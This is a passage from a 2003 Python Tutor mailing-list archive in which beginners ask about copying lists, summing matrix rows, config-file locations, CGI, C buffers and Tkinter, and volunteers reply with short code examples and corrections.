> of the whole list.  list1[-5:] would grab the last 5 items as a slice of 
> list1.
> 
> No:
>     list2 = list1    # assign list2's name to list1
>     del list1[:]   
> 
> ********
> 
> The del statement for list1 covers the case where you have other names 
> bound
> to list1 and ALL of those names should now be bound to the same empty list.
> 
> list1 = [] #would leave the other names bound to list1 with contents.
> 
> Vidhya Narayanan wrote:
> 
>> Hi,
>>
>>     I have this very basic question. I have two lists. I deleted some 
>> items from
>> list1. list 2 is empty. I need to move the remaining items from list1 
>> to list 2
>> in the same order. Can some one help me out ?Thanks in advance
>>
>> best
>> Vidhya
>>
>>
>> _______________________________________________
>> Tutor maillist  -  Tutor@python.org
>> http://mail.python.org/mailman/listinfo/tutor
>>
> 
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From phthenry@earthlink.net  Fri Jun  6 20:05:04 2003
From: phthenry@earthlink.net (Paul Tremblay)
Date: Fri Jun  6 19:05:04 2003
Subject: [Tutor] where to put configuration files
Message-ID: <20030606230552.GV1597@localhost.localdomain>

I have written a script that requires a configuration file. I have
written an additional script that configures my setup.py, as well as the
origninal script, as to where the user decides to put the configuration
file.

This configuration file is kind of a pain to have to maintain. Is it
okay to just dump configuration files in /etc, or is this considered bad
practice?

Thanks

Paul

-- 

************************
*Paul Tremblay         *
*phthenry@earthlink.net*
************************


From jeff@ccvcorp.com  Fri Jun  6 20:22:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Fri Jun  6 19:22:02 2003
Subject: [Tutor] lists
References: <20030605181302.5177.6118.Mailman@mail.python.org> <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu> <3EE11B01.7020101@venix.com>
Message-ID: <3EE121BE.3070103@ccvcorp.com>

Lloyd Kvam wrote:

> Do you really need to save list2's (potential) contents?
> Yes:
>     list2.append(list1[:])    # copy from list1 to list2


Actually, this isn't going to do what you probably think it does.

list2.append() will add a single item to list2.  That item will be a 
copy of list1.

 >>> list1 = [1, 2, 3]
 >>> list2 = []
 >>> list2.append(list1[:])
 >>> list2
[[1, 2, 3]]
 >>> list2[0]
[1, 2, 3]
 >>>

What you're thinking should happen would actually be done by extend() 
rather than append() --

 >>> list2.extend(list1[:])
 >>> list2
[[1, 2, 3], 1, 2, 3]
 >>>

And actually, there's no benefit to using a full-slice of list1 -- 
you're creating a temporary list that's identical to list1, and then 
appending/extending list2 using that temporary list.  You'll have the 
same effect using list1 instead of list1[:].

Jeff Shannon
Technician/Programmer
Credit International




From shalehperry@attbi.com  Fri Jun  6 22:05:01 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Fri Jun  6 21:05:01 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <20030606230552.GV1597@localhost.localdomain>
References: <20030606230552.GV1597@localhost.localdomain>
Message-ID: <200306061804.00707.shalehperry@attbi.com>

On Friday 06 June 2003 16:05, Paul Tremblay wrote:
> I have written a script that requires a configuration file. I have
> written an additional script that configures my setup.py, as well as the
> origninal script, as to where the user decides to put the configuration
> file.
>
> This configuration file is kind of a pain to have to maintain. Is it
> okay to just dump configuration files in /etc, or is this considered bad
> practice?
>

If you *EVER* intend this to be real software used by real users, yes /etc is 
the place to go.  It is probably a good idea to create a subdir and place the 
config in there.  Something like /etc/mypackage/foo.conf.



From shalehperry@attbi.com  Fri Jun  6 22:19:01 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Fri Jun  6 21:19:01 2003
Subject: [Tutor] Creating your first CGI-script
In-Reply-To: <004001c32b7a$6b0acbe0$a44c73d5@sigrunnk2wh18t>
References: <004001c32b7a$6b0acbe0$a44c73d5@sigrunnk2wh18t>
Message-ID: <200306061815.39649.shalehperry@attbi.com>

On Thursday 05 June 2003 08:52, Ole Jensen wrote:
> First of all, I have no experince in web programming, but my plans are to
> get into that sooner rather than later. So if my assumptions below are
> hillariously wrong feel free to correct me before what I think I know
> sticks with me :-).
>

there's a lot in here, let's see if we can shed some light on a few things 
....

> I know there is more to web programming other than CGI, I just don't know
> what (I have heard of SQL (databases?), XML (The future of the web, maybe?
> (XHTML)), but I'm not sure that this has anything directly to do with
> Python.

In the beginning (aka 8+ years ago) there was basically two ways to write 
non-static web sites -- Server Side Includes and CGI.

In Server Side Includes (SSI) you put some code in a web page and when the web 
server sent the page to the user it also executed the includes.  This is how 
people used to handle "Last modified on ...." as well as a standard header / 
footer for all of their pages.

CGI was the real work horse.  You can write them in any language that reads 
from standard in and writes to standard out.  This is how EVERYONE did 
websites before Javascript, Java, PHP, ASP, etc.  These days it is largely 
replaced by the aforementioned technologies.

As for SQL, that is the standard way to handle date storage and retrieval.  We 
programmers like it when different parts of a problem are handled locally.
For example, you could put stock information in a database.  Now when your 
website wants to show a user a ticker symbol you just query with SQL.  But, 
you could also write a nifty Windows GUI for your employees too that also 
used SQL.  You see?  Lots of readers, one central repository.  All of them 
running different operating systems, software, languages, etc.

As for XML, that seems to be "the next big thing" (tm).  Some people love it, 
some of us dislike it.  If you learn how HTML works you also understand the 
basics of XML.  Sure there is more to it, but you can learn as you go.

> So what I'm hoping you can help me with; is what I need to make CGI
> scripts. I guess it's possible to create and test CGI locally (i.e. without
> uploading it to the net). Then again does it require some server software
> to run cgi scripts (or rather test them). I assume (from reading this tutor
> mail)that the necesary software is included in the Python download. Anyway
> if not, I'm using Win XP and hoping you can recommend some server software
> to use to test my CGI-scripts. Also, my current homepage server (through my
> ISP) does not support CGI, so if you now of any free (as in no-cost) web
> hosters that support Python I'ld be happy to know.

As mentioned above, CGIs simply read input and write output, the web server 
handles the network connections.  So you can easily test CGIs by running them 
and sending in the data (once you learn the right data to send).  There are 
lots and lots of tutorials, books, etc on this.  Any used book store should 
have plenty of CGI books.

To really test the CGI you need a web server that supports CGIs.  My guess is 
IIS does.  You can also run apache on windows.

> I've been looking at
> www.freezope.org but they don't support cgi so I'm not really sure if thats
> what would suit my needs, BTW what can you use their service to create?
>

Zope is another one of those technologies that helped kill CGI (-:



From loizie@hotmail.com  Sat Jun  7 01:37:01 2003
From: loizie@hotmail.com (Evripides Loizides)
Date: Sat Jun  7 00:37:01 2003
Subject: [Tutor] matrix q?
Message-ID: <BAY7-F92T7HTETiFXnJ0003c326@hotmail.com>

<html><div style='background-color:'><DIV>
<P>i want to add the row of a square matrix. </P>
<P>the code i have is :</P>
<P>myMatrix = [2,7,6], [9,5,1], [4,3,8]</P>
<P>def sumRow(aMatrix, index):<BR>&nbsp;&nbsp;&nbsp; sum = 0<BR>&nbsp;&nbsp;&nbsp; for item in aMatrix[index]:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sum = sum + item<BR>&nbsp;&nbsp;&nbsp; print aMatrix[index]<BR>&nbsp;&nbsp;&nbsp; return sum<BR>&nbsp;&nbsp;&nbsp; <BR>#print sumRow(myMatrix,len(myMatrix)-1)<BR>print sumRow(myMatrix,0)&nbsp;&nbsp;&nbsp; <BR>#print sumRow(myMatrix,1)</P>
<P>&nbsp;</P>
<P>Changing from 0 to 1 and len(myMatrix)-1 i can get the sum of the row each time but i want to put the in a loop so i can&nbsp;get the sum&nbsp;of&nbsp;all row indevidual&nbsp;&nbsp;the&nbsp; same time. </P>
<P>I am looking forward for some good ideas</P>
<P>thanks<BR><BR></P></DIV></div><br clear=all><hr>Protect your PC - <a href="http://g.msn.com/8HMJENUS/2755??PS=">Click here</a> for McAfee.com VirusScan Online </html>


From alan.gauld@blueyonder.co.uk  Sat Jun  7 04:27:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sat Jun  7 03:27:01 2003
Subject: [Tutor] lists
References: <20030605181302.5177.6118.Mailman@mail.python.org> <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu>
Message-ID: <00b401c32cc6$5338e450$6401a8c0@xp>

> I have this very basic question. I have two lists. I deleted 
> some items from list1. list 2 is empty. I need to move the 
> remaining items from list1 to list 2 in the same order. 

There are several ways of doing this, I'll take three of them:

for item in list1:
    list2.append(item)

OR

list2 = list1[:]

The first steps through each item in the first list and adds 
it to the second, this has the advantage that you can filter 
out items you don't want at some future point.

The second method just copies the entire list into a new identical 
list.

THe first technique can be rewritten using a thing called a 
list comprehension which looks a bit daunting, but once you 
get used to them are very powerful:

list2 = [item for item in list1]

Again you can have an optional test to only copy certain items if 
you need it. This will be slightly faster than the explicit 'for' 
loop.

Alan G.



From alan.gauld@blueyonder.co.uk  Sat Jun  7 04:31:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sat Jun  7 03:31:01 2003
Subject: [Tutor] lists
References: <20030605181302.5177.6118.Mailman@mail.python.org> <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu> <20030606221228.GA15894@glacier.arctrix.com>
Message-ID: <00bd01c32cc6$cd1618b0$6401a8c0@xp>

> It's a bit of a weird thing to do though.  It would be faster and
> simpliler just to swap the lists:
> 
>     list2, list1 = list1, list2

This makes list1 empty, I didn't see any requirement to do that!
Or did I miss something?

Alan G.


From alan.gauld@blueyonder.co.uk  Sat Jun  7 04:33:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sat Jun  7 03:33:02 2003
Subject: [Tutor] lists
References: <20030605181302.5177.6118.Mailman@mail.python.org> <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu> <3EE11517.2060303@ccvcorp.com>
Message-ID: <00c201c32cc7$0c125d30$6401a8c0@xp>

Aha! In answer to my own question...

> However, I can't help but ask... why do you need to move items from
one
> list (which will end up empty) into another list (which starts
empty)?

I read move as copy....

Alan G.



From alan.gauld@blueyonder.co.uk  Sat Jun  7 04:41:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sat Jun  7 03:41:01 2003
Subject: [Tutor] lists
References: <20030605181302.5177.6118.Mailman@mail.python.org> <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu> <3EE11B01.7020101@venix.com>
Message-ID: <00c701c32cc8$3e798ae0$6401a8c0@xp>

> list2.append(list1[:]) # copy from list1 to list2
> del list1[:] # del contents of list1

This actually puts a copy of list1 inside list2, it
doesn't move the elements of list1...

you need to do

list2 = list1[:]

Or if list2 already had items in and you wanted to append, you could
do:

list2 = list2 + list1

> No:
> list2 = list1 # assign list2's name to list1
> del list1[:]

Nope, that deletes "both" lists:

>>> list1 = [1,2,3]
>>> list2 = list1
>>> list2,list1
([1, 2, 3], [1, 2, 3])
>>> del list1[:]
>>> list2,list1
([], [])
>>>

If you really do want to move the lists then Neil's swapping
code is probably best.

Alan G.



From tutor@python.org  Sat Jun  7 06:51:01 2003
From: tutor@python.org (Chimp)
Date: Sat Jun  7 05:51:01 2003
Subject: [Tutor] Binary Tree Printing Woes
In-Reply-To: <006a01c32c77$6aa3dcc0$6401a8c0@xp>
References: <20030605201537.GA10180@yahoo.com> <001101c32ba8$16b47090$6401a8c0@xp> <20030606104936.GA2120@yahoo.com> <006a01c32c77$6aa3dcc0$6401a8c0@xp>
Message-ID: <20030607115302.GB2777@yahoo.com>

* Alan Gauld <alan.gauld@blueyonder.co.uk> [030606 23:03]:
> > .....But how come the print_tree() function - which ALSO returns 
> > None works just dandy?!
> 
> Good question and I asked myself the same thing.
> 
> I didn't see an obvious answer but assumed it must 
> be some strange combination of calling pattern. I suspect 
> a bigger tree might give a different answer, a 3 node one 
> isn't enough to test all scenarios. A cop out sorry! :-)
I tried one with a bajillion nodes, but alas, same effect. *sigh*

I'll be busy all weekend, but I'll look into it again, pull in some
markers on the IRC/ICQ grapewine, cut some shady deals with people in
the know and get back to the list with a solution, don't you worry.

Ain't gonna let this bugger ruin my Coding Experience(tm).

> > But how do I rewrite the function so make the "print" ignore it? 
> Just call the function, since it does its own printing you 
> don't need to! Alternatively, and better practice, make the 
> function return a list of values and you then print those 
> outside the function..
Sorry for screwing up that sentence. *blush* I like the idea of building
up a list and return it - maybe not for a lousy print statement(!), but
in general. I'm not sure I can handle it recursively, but I'll get my
grubby paws dirty over the weekend and we'll see what comes crawling out
of the lab, ha ha!

Later,

-- Chimp
-- 
                            o      _     _         _
------- __o       __o      /\_   _ \\o  (_)\__/o  (_)        -o)
----- _`\<,_    _`\<,_    _>(_) (_)/<_    \_| \   _|/' \/     /\\
---- (_)/ (_)  (_)/ (_)  (_)        (_)   (_)    (_)'  _\o_  _\_v
Don't Drive And Pray - Listen To InfidelGuy.com And Rock Your Mind


From Michael Montagne <montagne@boora.com>  Sat Jun  7 10:47:01 2003
From: Michael Montagne <montagne@boora.com> (Michael Montagne)
Date: Sat Jun  7 09:47:01 2003
Subject: [Tutor] charts
Message-ID: <20030607134734.GA7753@boora.com>

Are there any preferences out there for charting libraries?  I started
with reportlab but found some performance issues.  Now I discover
jpchart and gdchart.  I'd like something simple to use(I do subscribe to
THIS list).  It is intended to be used as a web application.  The pdf
feature was nice but not mandatory.  

-- 
  Michael Montagne  http://www.themontagnes.com  503.226.1575 
--    


From R. Alan Monroe" <amonroe@columbus.rr.com  Sat Jun  7 11:04:01 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Sat Jun  7 10:04:01 2003
Subject: [Tutor] Need help on modifying buffer passed to python script from c
In-Reply-To: <BAY7-F92T7HTETiFXnJ0003c326@hotmail.com>
References: <BAY7-F92T7HTETiFXnJ0003c326@hotmail.com>
Message-ID: <181-1992150030.20030607100911@columbus.rr.com>

Here are the relevant parts of the c program

PyObject *themodule, *thefunc, *theresult, *thebuf;
int themem[100];
themem[0] = 26;
thebuf = PyBuffer_FromReadWriteMemory(themem, 100);
theresult = PyObject_CallFunctionObjArgs( thefunc, thebuf, NULL);

... and the python script

def render( thepointer ):
    print "python thepointer[0] ", thepointer[0]  # an arrow character
    print "python type(thepointer) ", type(thepointer)  # <type 'buffer'>
    print "python type(thepointer[0]) ", type(thepointer[0])  #  <type 'str'>
    print "python ord(thepointer[0]) ", ord(thepointer[0])  # 26, as expected
    thepointer[0] += 1   #<--- program error, can't increment a string

This is for the Sonique vis plugin I mentioned a few days ago. The
problem I'm running into is that python thinks the buffer is a big
string, but I want it to be treated as integers (it's an offscreen
ARGB buffer to be blitted to the screen). Is there a way of "tricking"
Python into seeing it as something other than 'str'?


Alan



From loizie@hotmail.com  Sat Jun  7 13:50:02 2003
From: loizie@hotmail.com (Evripides Loizides)
Date: Sat Jun  7 12:50:02 2003
Subject: [Tutor] matrix q?
Message-ID: <BAY7-F69mPPk8f2i5lE0000723e@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_9f9_17f3_27c7
Content-Type: text/html

<html><div style='background-color:'><DIV>
<P><BR><BR></P>
<DIV>
<DIV></DIV>
<P><BR>&nbsp;</P></DIV>
<P>to tutor : u dont have to post this msg.&nbsp;&nbsp;</P></DIV>
<P>hey tutor u have to understand that not all people knows the same thing about python and there people like me that we just start using python.<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></P>
<DIV></DIV>
<P>&nbsp;the feedback i got from u on my matrix q? Is not dealing with matrix or if it does i cannot see it. can u be more sample and more specific if u can.</P>
<DIV></DIV>
<P>thank u</P>
<DIV></DIV>
<P>&nbsp;</P>
<DIV></DIV>
<P>&nbsp;</P>
<DIV></DIV>
<P>&nbsp;</P>
<DIV></DIV>
<DIV></DIV></div><br clear=all><hr>Help STOP SPAM with <a href="http://g.msn.com/8HMGENUS/2731??PS=">the new MSN 8 </a> and get 2 months FREE*</html>
------=_NextPart_000_9f9_17f3_27c7
Content-Type: application/octet-stream; name="sumOfRow.py"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="sumOfRow.py"

bXlNYXRyaXggPSBbMiw3LDZdLCBbOSw1LDFdLCBbNCwzLDhdDQoNCmRlZiBz
dW1Sb3coYU1hdHJpeCwgaW5kZXgpOg0KICAgIHN1bSA9IDANCiAgICBmb3Ig
aXRlbSBpbiBhTWF0cml4W2luZGV4XToNCiAgICAgICAgI3N1bSA9IHN1bSAr
IGl0ZW0NCiAgICAgICAgcHJpbnQgYU1hdHJpeFtpbmRleF0NCiAgICByZXR1
cm4gc3VtDQogICAgDQojcHJpbnQgc3VtUm93KG15TWF0cml4LGxlbihteU1h
dHJpeCktMSkNCiNwcmludCBzdW1Sb3cobXlNYXRyaXgsMCkgICAgDQojcHJp
bnQgc3VtUm93KG15TWF0cml4LDEpDQo=


------=_NextPart_000_9f9_17f3_27c7--


From a_abdi406@yahoo.com  Sat Jun  7 13:55:29 2003
From: a_abdi406@yahoo.com (Abdirizak abdi)
Date: Sat Jun  7 12:55:29 2003
Subject: [Tutor] about little function
Message-ID: <20030607165347.59091.qmail@web14504.mail.yahoo.com>

--0-1166050707-1055004827=:58558
Content-Type: text/plain; charset=us-ascii

Hi,
I was working on a program that combines a list of values such as this list List = [1,2,3,5,6...] and it also does some computation such as the folowing in the function :
 
def combine(list_probabilities):
    """ it combines the probabilty of list items"""
    p1 = 1.0
    p2 = 1.0
    #print list_probabilities
    for i in list_probabilities:
        #print i
        p1 = p1 * i
        p2 = p2 * (1.0 - i)
    result = p1 / (p1 + P2)
    return result
 
Problem: when I try to run the program it gives me type error such as the following :
 
Traceback (most recent call last):
  File "classifier.py", line 202, in ?
    sw.isSpam(text)
  File "classifier.py", line 140, in isSpam
    score = combine(list)
  File "classifier.py", line 36, in combine
    p1 = p1 * i
TypeError: unsupported operand type(s) for *: 'float' and 'list'
 
can anyone help me why it is giving me this error, when I try on python interactive it works but in the program it doesn't.
 
thanks in advance


---------------------------------
Do you Yahoo!?
Free online calendar with sync to Outlook(TM).
--0-1166050707-1055004827=:58558
Content-Type: text/html; charset=us-ascii

<DIV>Hi,</DIV>
<DIV>I was working on a program that combines a list of values such as this list List = [1,2,3,5,6...] and it also&nbsp;does some computation such as the folowing in the function :</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=#7f003f>def combine(list_probabilities):<BR>&nbsp;&nbsp;&nbsp; """ it combines the probabilty of list items"""<BR>&nbsp;&nbsp;&nbsp; p1 = 1.0<BR>&nbsp;&nbsp;&nbsp; p2 = 1.0<BR>&nbsp;&nbsp;&nbsp; #print list_probabilities<BR>&nbsp;&nbsp;&nbsp; for i in list_probabilities:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #print i<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p1 = p1 * i<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p2 = p2 * (1.0 - i)</FONT></DIV>
<DIV><FONT color=#7f003f>&nbsp;&nbsp;&nbsp; result = p1 / (p1 + P2)<BR>&nbsp;&nbsp;&nbsp; return result</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>Problem: when I try to run the program it gives me type error such as the following :</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=#ff409f>Traceback (most recent call last):<BR>&nbsp; File "classifier.py", line 202, in ?<BR>&nbsp;&nbsp;&nbsp; sw.isSpam(text)<BR>&nbsp; File "classifier.py", line 140, in isSpam<BR>&nbsp;&nbsp;&nbsp; score = combine(list)<BR>&nbsp; File "classifier.py", line 36, in combine<BR>&nbsp;&nbsp;&nbsp; p1 = p1 * i<BR>TypeError: unsupported operand type(s) for *: 'float' and 'list'</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>can anyone help me why it is giving me this error, when I try on python interactive it works but in the program it doesn't.</DIV>
<DIV>&nbsp;</DIV>
<DIV>thanks in advance</DIV><p><hr SIZE=1>
Do you Yahoo!?<br>
Free <a href="http://us.rd.yahoo.com/mail_us/tag/*http://calendar.yahoo.com">online calendar</a> with sync to Outlook(TM).
--0-1166050707-1055004827=:58558--


From loizie@hotmail.com  Sat Jun  7 14:10:01 2003
From: loizie@hotmail.com (evros loizides)
Date: Sat Jun  7 13:10:01 2003
Subject: [Tutor] matrix q? print the first column of matrix
Message-ID: <000001c32d17$89130a50$69d6c518@6z5lw01>

This is a multi-part message in MIME format.

------=_NextPart_000_0001_01C32CED.A041E450
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

i am try to print the columns of a square matrix but i getting only the
first number
for example  myMatrix = [[2,3,4],[4,5,6],[7,8,9]]
i want to print the first column only .
how can i do that?
 
 

------=_NextPart_000_0001_01C32CED.A041E450
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<TITLE>Message</TITLE>

<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D280070317-07062003><FONT face=3DArial size=3D2>i am =
try to print=20
the columns of a square matrix but i getting only the first=20
number</FONT></SPAN></DIV>
<DIV><SPAN class=3D280070317-07062003><FONT face=3DArial size=3D2>for =
example&nbsp;=20
myMatrix =3D [[2,3,4],[4,5,6],[7,8,9]]</FONT></SPAN></DIV>
<DIV><SPAN class=3D280070317-07062003><FONT face=3DArial size=3D2>i want =
to print the=20
first column only .</FONT></SPAN></DIV>
<DIV><SPAN class=3D280070317-07062003><FONT face=3DArial size=3D2>how =
can i do=20
that?</FONT></SPAN></DIV>
<DIV><SPAN class=3D280070317-07062003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D280070317-07062003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0001_01C32CED.A041E450--


From bgailer@alum.rpi.edu  Sat Jun  7 14:10:10 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Sat Jun  7 13:10:10 2003
Subject: [Tutor] matrix q?
In-Reply-To: <BAY7-F92T7HTETiFXnJ0003c326@hotmail.com>
Message-ID: <5.2.0.9.0.20030607110545.02f97cf0@66.28.54.253>

At 04:36 AM 6/7/2003 +0000, you wrote:

>i want to add the row of a square matrix.
>
>the code i have is :
>
>myMatrix = [2,7,6], [9,5,1], [4,3,8]
>
>def sumRow(aMatrix, index):
>     sum = 0
>     for item in aMatrix[index]:
>         sum = sum + item
>     print aMatrix[index]
>     return sum
>
>#print sumRow(myMatrix,len(myMatrix)-1)
>print sumRow(myMatrix,0)
>#print sumRow(myMatrix,1)
>
>
>
>Changing from 0 to 1 and len(myMatrix)-1 i can get the sum of the row each 
>time but i want to put the in a loop so i can get the sum of all row 
>indevidual  the  same time.

import operator
myMatrix = [2,7,6], [9,5,1], [4,3,8]
print [reduce(operator.add,i) for i in myMatrix]
# result: [15, 15, 15]

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625



From bgailer@alum.rpi.edu  Sat Jun  7 14:13:01 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Sat Jun  7 13:13:01 2003
Subject: [Tutor] matrix q? print the first column of matrix
In-Reply-To: <000001c32d17$89130a50$69d6c518@6z5lw01>
Message-ID: <5.2.0.9.0.20030607111014.02ee7f70@66.28.54.253>

--=====================_7182838==.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 12:09 PM 6/7/2003 -0500, evros loizides wrote:

>i am try to print the columns of a square matrix but i getting only the 
>first number
>for example  myMatrix = [[2,3,4],[4,5,6],[7,8,9]]
>i want to print the first column only .
>how can i do that?

print [row[0] for row in myMatrix]

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=====================_7182838==.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<body>
At 12:09 PM 6/7/2003 -0500, evros loizides wrote:<br><br>
<blockquote type=cite class=cite cite><font face="arial" size=2>i am try
to print the columns of a square matrix but i getting only the first
number</font><br>
<font face="arial" size=2>for example&nbsp; myMatrix =
[[2,3,4],[4,5,6],[7,8,9]]</font><br>
<font face="arial" size=2>i want to print the first column only
.</font><br>
<font face="arial" size=2>how can i do that?</font></blockquote><br>
print [row[0] for row in <font face="arial" size=2>myMatrix</font>]<br>
<x-sigsep><p></x-sigsep>
Bob Gailer<br>
bgailer@alum.rpi.edu<br>
303 442 2625<br>
</body>
</html>

--=====================_7182838==.ALT--



From nas-pytut@python.ca  Sat Jun  7 14:48:02 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Sat Jun  7 13:48:02 2003
Subject: [Tutor] about little function
In-Reply-To: <20030607165347.59091.qmail@web14504.mail.yahoo.com>
References: <20030607165347.59091.qmail@web14504.mail.yahoo.com>
Message-ID: <20030607175034.GA17100@glacier.arctrix.com>

Abdirizak abdi wrote:
>   File "classifier.py", line 36, in combine
>     p1 = p1 * i
> TypeError: unsupported operand type(s) for *: 'float' and 'list'

The error is telling you that 'i' is a list.  That means something in
'list_probabilities' is a list.  Try to figure out why there is a list
in the 'list_probabilities' list.

  Neil


From alan.gauld@blueyonder.co.uk  Sat Jun  7 15:53:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sat Jun  7 14:53:02 2003
Subject: [Tutor] matrix q?
References: <BAY7-F92T7HTETiFXnJ0003c326@hotmail.com>
Message-ID: <010401c32d26$14834420$6401a8c0@xp>

----- Original Message ----- 
From: "Evripides Loizides" <loizie@hotmail.com>
To: <Tutor@python.org>; <dyoo@hkn.eecs.berkeley.edu>
Sent: Saturday, June 07, 2003 5:36 AM
Subject: [Tutor] matrix q?


> myMatrix = [2,7,6], [9,5,1], [4,3,8]

This creates a tuple with 3 elements each being a list of 3 numbers.
So to sum all Rows:
> 
> def sumRows(aMatrix, index):
    for row in aMatrix:
>     sum = 0
>     for item in row:
>         sum = sum + item
>     print row
>     return sum

Should do it.

Alan G


From alan.gauld@blueyonder.co.uk  Sat Jun  7 16:04:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sat Jun  7 15:04:01 2003
Subject: [Tutor] Binary Tree Printing Woes
References: <20030605201537.GA10180@yahoo.com> <001101c32ba8$16b47090$6401a8c0@xp> <20030606104936.GA2120@yahoo.com> <006a01c32c77$6aa3dcc0$6401a8c0@xp> <20030607115302.GB2777@yahoo.com>
Message-ID: <001301c32d27$a94dab80$6401a8c0@xp>

> the know and get back to the list with a solution, don't you worry.

Good, I'd look at it myself but have a deadline to meet for Monday!

> > function return a list of values and you then print those
> > outside the function..
> Sorry for screwing up that sentence. *blush* I like the idea of
building
> up a list and return it .... I'm not sure I can handle it
recursively,


>>> def f(aSequence):
      retList = []
      if len(aSequence) == 0: return []  # terminate condition
      else:
        retList.append(aSequence[0])     # first elem processing
        return retlist + f(aSequence[1:])  # rest of list

>>> newlist = f([1,2,3,4])
>>> print newlist
[1,2,3,4]

As a clue...

Alan g.



From alan.gauld@blueyonder.co.uk  Sat Jun  7 16:06:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sat Jun  7 15:06:01 2003
Subject: [Tutor] Need help on modifying buffer passed to python script from c
References: <BAY7-F92T7HTETiFXnJ0003c326@hotmail.com> <181-1992150030.20030607100911@columbus.rr.com>
Message-ID: <001a01c32d27$c4a79f80$6401a8c0@xp>

> problem I'm running into is that python thinks the buffer is a big
> string, but I want it to be treated as integers (it's an offscreen
> ARGB buffer to be blitted to the screen). Is there a way of
"tricking"
> Python into seeing it as something other than 'str'?

Use the struct module to convert it within Python.

I think...

Alan g



From R. Alan Monroe" <amonroe@columbus.rr.com  Sat Jun  7 16:32:02 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Sat Jun  7 15:32:02 2003
Subject: [Tutor] Need help on modifying buffer passed to python script from c
In-Reply-To: <001a01c32d27$c4a79f80$6401a8c0@xp>
References: <BAY7-F92T7HTETiFXnJ0003c326@hotmail.com>
 <181-1992150030.20030607100911@columbus.rr.com>
 <001a01c32d27$c4a79f80$6401a8c0@xp>
Message-ID: <127-1972455131.20030607153726@columbus.rr.com>

>> problem I'm running into is that python thinks the buffer is a big
>> string, but I want it to be treated as integers (it's an offscreen
>> ARGB buffer to be blitted to the screen). Is there a way of
> "tricking"
>> Python into seeing it as something other than 'str'?

> Use the struct module to convert it within Python.

>From one Alan to another... you da man!

thepointer[0] = struct.pack('B',99)  # B is unsigned char

works perfectly.

Alan



From alan.gauld@blueyonder.co.uk  Sat Jun  7 18:52:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sat Jun  7 17:52:01 2003
Subject: [Tutor] matrix q?
References: <BAY7-F19hHY53l0HJQd00082861@hotmail.com>
Message-ID: <002001c32d3e$fb20a9f0$6401a8c0@xp>

> the think i notice is for the down diagonal the numbers 
> locate like this 00 11 22 for a 3 by 3 matrix.
> 
> whats the easy way to get that :

for n in range(len(aMatrix)):
    item = aMatrix[n][n]


> def sumOfDownDiag(aMatrix,index):
>     sum = 0
>     xIndex = 0
>     yIndex = 0
>     for item in aMatrix[[xindex],[yindex]]:

This makes no sense whatever.

[xindex] is a list of one element, as is [yindex]

so you are passing two lists as indices

aMatrix[list1,list2]

Python doesn't know what to do with that.
To reference a two dimensional table you need two separate 
indices:

aMatrix[n]  # -> returns the nth row of the table

aMatrix[n][m]  #-> returns the mth element of the nth row

HTH,

Alan G


From bobsmith327@hotmail.com  Sat Jun  7 19:59:01 2003
From: bobsmith327@hotmail.com (bob smith)
Date: Sat Jun  7 18:59:01 2003
Subject: [Tutor] (no subject)
Message-ID: <Law15-F52ROONwIidWZ00033666@hotmail.com>

Hi.  I'm just starting to learn to use the Tkinter module for creating
GUIs.  I'm using a tutorial that gives a basic starting program of:

from Tkinter import *
root = Tk()
app = Frame(root)
root.mainloop()

But do I really need root?  It seems like the program could simply be:

